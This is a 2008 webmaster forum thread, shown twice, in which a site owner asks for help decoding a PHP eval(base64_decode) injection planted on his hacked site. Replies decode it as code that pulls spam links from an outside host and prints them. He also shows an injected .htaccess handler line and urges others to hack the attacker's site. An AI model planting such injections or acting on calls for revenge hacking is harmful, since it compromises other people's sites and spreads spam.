Help someone hacked my site : Please help me decipher code : !!!!!!!!!!!!!!!!!!!!!!!! - GoFuckYourself.com

NetHorse · 07-10-2008, 07:42 AM

<?php eval(base64_decode("JGw9Imh0dHA6Ly9kbWkuZXJkYXVkdG VhbS5iaXovbGluay9saW5rLnBocCI7IGlmIChleHRlbnNpb25f bG9hZGVkKCJjdXJsIikpey ANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gs IENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2 gsIENVUkxPUFRfUkVUVVJO VFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE 9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3Vy bF9jbG9zZSgkY2gpO30NCm Vsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBA JHI7DQo=")); ?>

Someone gained access to one of my sites that promotes a nats program and added that little script. Any idea what that means or what it was possibly doing? Thanks to anyone out there who can help.

DarkJedi · 07-10-2008, 07:46 AM

It means you need to move to a new host that doesn't have a head up their ass.

NetHorse · 07-10-2008, 07:53 AM

Also found this is in all my .htaccess files

AddHandler application/x-httpd-php .html .htm .shtm

and huge spam list linking to this site

http://www.evolutionisdead.com/

????????

darksoul · 07-10-2008, 07:56 AM

Code:

$l="http://dmi.erdaudteam.biz/link/link.php"; if (extension_loaded("curl")){ $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);} else{$r=implode("",file($l));} print @$r;

beta-tester · 07-10-2008, 07:56 AM

it means that it'll execute this statement:

$l="http://dmi.erdaudteam.biz/link/link.php"; if (extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
else{$r=implode("",file($l));} print @$r;

if it helps

darksoul · 07-10-2008, 08:02 AM

basically it loads the list with spammed url'es from dmi.erdaudteam.biz/link/link.php

NetHorse · 07-10-2008, 08:06 AM

Thanks a lot guys I'll try to get a hold of this guy's host and have him shut down

NetHorse · 07-10-2008, 08:30 AM

estdomains.com is the domain the site is hosted on!

NetHorse · 07-10-2008, 08:35 AM

If they don't do anything about it can I contact ICANN? I want this asshole's site SHUT DOWN!!!!!!!!!!!!

:mad :

tahiti · 07-10-2008, 09:17 AM

so easy was some base64 encode.

--->aWYgeW91IG5lZWQgaGVscCBjaGVjayBteSBzaWcuLi4gSSBnd WVzcyB5b3UgY2FuJ3QgcmVhZCB0aGF0IDstKQ==

NetHorse · 07-10-2008, 09:42 AM

blah someone hack his site. POS really fucked one of my rankings with one site.

Juicy D. Links · 07-10-2008, 09:46 AM

thats some nice code

NetHorse · 07-11-2008, 12:09 AM

Quote:

Originally Posted by Juicy D. Links

thats some nice code

? Meaning these are talented hackers?

07-10-2008, 07:42 AM	#1
NetHorse Confirmed User Industry Role: Join Date: Dec 2006 Location: Chicago Posts: 3,526	Help someone hacked my site : Please help me decipher code : !!!!!!!!!!!!!!!!!!!!!!!! <!--erda8--><?php eval(base64_decode("JGw9Imh0dHA6Ly9kbWkuZXJkYXVkdG VhbS5iaXovbGluay9saW5rLnBocCI7IGlmIChleHRlbnNpb25f bG9hZGVkKCJjdXJsIikpey ANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gs IENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2 gsIENVUkxPUFRfUkVUVVJO VFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE 9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3Vy bF9jbG9zZSgkY2gpO30NCm Vsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBA JHI7DQo=")); ?> Someone gained access to one of my sites that promotes a nats program and added that little script. Any idea what that means or what it was possibly doing? Thanks to anyone out there who can help. __________________ ┌∩┐(◣_◢)┌∩┐ ICQ # 427013273

07-10-2008, 07:53 AM	#3
NetHorse Confirmed User Industry Role: Join Date: Dec 2006 Location: Chicago Posts: 3,526	Also found this is in all my .htaccess files AddHandler application/x-httpd-php .html .htm .shtm and huge spam list linking to this site http://www.evolutionisdead.com/ ???????? __________________ ┌∩┐(◣_◢)┌∩┐ ICQ # 427013273

07-10-2008, 07:56 AM	#5
beta-tester Rock 'n Roll Baby! Join Date: Sep 2004 Location: USA, temporarly Posts: 22,562	it means that it'll execute this statement: $l="http://dmi.erdaudteam.biz/link/link.php"; if (extension_loaded("curl")){ $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);} else{$r=implode("",file($l));} print @$r; if it helps __________________ Sig for sale. Affordable prices. Contact me and get a great deal ;) My contact: ICQ: 944-320-46 e-mail: manca {AT} HotFreeSex4All.com

07-10-2008, 08:02 AM	#6
darksoul Confirmed User Join Date: Apr 2002 Location: /root/ Posts: 4,997	basically it loads the list with spammed url'es from dmi.erdaudteam.biz/link/link.php __________________ 1337 5y54\|)m1n: 157717888 BM-2cUBw4B2fgiYAfjkE7JvWaJMiUXD96n9tN Cambooth

07-10-2008, 08:06 AM	#7
NetHorse Confirmed User Industry Role: Join Date: Dec 2006 Location: Chicago Posts: 3,526	Thanks a lot guys I'll try to get a hold of this guy's host and have him shut down __________________ ┌∩┐(◣_◢)┌∩┐ ICQ # 427013273

07-10-2008, 07:46 AM	#2
DarkJedi No Refunds Issued. Industry Role: Join Date: Feb 2001 Location: GFY Posts: 28,300	It means you need to move to a new host that doesn't have a head up their ass.

07-10-2008, 08:30 AM	#8
NetHorse Confirmed User Industry Role: Join Date: Dec 2006 Location: Chicago Posts: 3,526	estdomains.com is the domain the site is hosted on! __________________ ┌∩┐(◣_◢)┌∩┐ ICQ # 427013273

07-10-2008, 08:35 AM	#9
NetHorse Confirmed User Industry Role: Join Date: Dec 2006 Location: Chicago Posts: 3,526	If they don't do anything about it can I contact ICANN? I want this asshole's site SHUT DOWN!!!!!!!!!!!!:mad : __________________ ┌∩┐(◣_◢)┌∩┐ ICQ # 427013273

07-10-2008, 09:17 AM	#10
tahiti Confirmed User Join Date: Oct 2003 Location: localhost Posts: 699	so easy was some base64 encode. --->aWYgeW91IG5lZWQgaGVscCBjaGVjayBteSBzaWcuLi4gSSBnd WVzcyB5b3UgY2FuJ3QgcmVhZCB0aGF0IDstKQ== __________________ ------------------------------- Oliver Smith "Drunk Russian Hackers are Invincible" ASCII P0rn rules aim: olvrsmt icq: 21018030

07-10-2008, 09:42 AM	#11
NetHorse Confirmed User Industry Role: Join Date: Dec 2006 Location: Chicago Posts: 3,526	blah someone hack his site. POS really fucked one of my rankings with one site. __________________ ┌∩┐(◣_◢)┌∩┐ ICQ # 427013273

07-10-2008, 09:46 AM	#12
Juicy D. Links So Fucking Banned Industry Role: Join Date: Apr 2001 Location: N.Y. -Long Island -- Posts: 122,992	thats some nice code